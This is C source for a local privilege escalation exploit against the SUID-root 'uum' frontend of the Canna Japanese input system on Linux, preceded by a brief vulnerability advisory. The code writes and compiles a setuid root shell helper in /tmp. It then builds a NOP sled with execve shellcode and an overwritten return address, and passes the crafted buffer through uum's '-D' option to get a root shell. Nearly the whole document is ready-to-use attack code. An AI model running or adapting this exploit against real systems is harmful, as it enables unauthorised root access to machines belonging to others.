68 lines
No EOL
2.3 KiB
C
68 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/757/info
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Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese.
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Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romanji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way.
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Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion.
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The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'uum' program. Uum is a Japanese input tty frontend for Canna. Regrettably, certain versions are vulnerable to a buffer overflow attack via unchecked user supplied data with the '-D' option. Since 'uum' is installed as SUID root this may result in a root level compromise.
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/*=============================================================================
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/usr/bin/uum Exploit for Linux
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The Shadow Penguin Security (http://shadowpenguin.backsection.net)
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Written by
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UNYUN (shadowpenguin@backsection.net)
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=============================================================================
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*/
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#include <stdlib.h>
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#include <stdio.h>
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#define RET_ADR 84
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#define EXP_ADR 204
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#define MAXBUF 300
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#define JMP_OFS 0x484
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#define NOP 0x90
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#define SHELL "/tmp/pp"
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#define COMPILER "gcc"
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char exec[60]=
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff";
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char xx[MAXBUF+1];
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unsigned int i,ip,sp;
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FILE *fp;
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unsigned long get_sp(void)
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{
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__asm__("movl %esp, %eax");
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}
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main()
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{
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strcat(exec,SHELL);
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sprintf(xx,"%s.c",SHELL);
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if ((fp=fopen(xx,"w"))==NULL){
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printf("Can not write to %s\n",xx);
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exit(1);
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}
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fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
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fclose(fp);
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sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
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system(xx);
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sp=get_sp();
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memset(xx,NOP,MAXBUF);
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ip=sp-JMP_OFS;
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printf("Jumping address = %x\n",ip);
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xx[RET_ADR ]=ip&0xff;
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xx[RET_ADR+1]=(ip>>8)&0xff;
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xx[RET_ADR+2]=(ip>>16)&0xff;
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xx[RET_ADR+3]=(ip>>24)&0xff;
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strncpy(xx+EXP_ADR,exec,strlen(exec));
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xx[MAXBUF]=0;
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execl("/usr/bin/uum","uum","-D",xx,(char *) 0);
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} |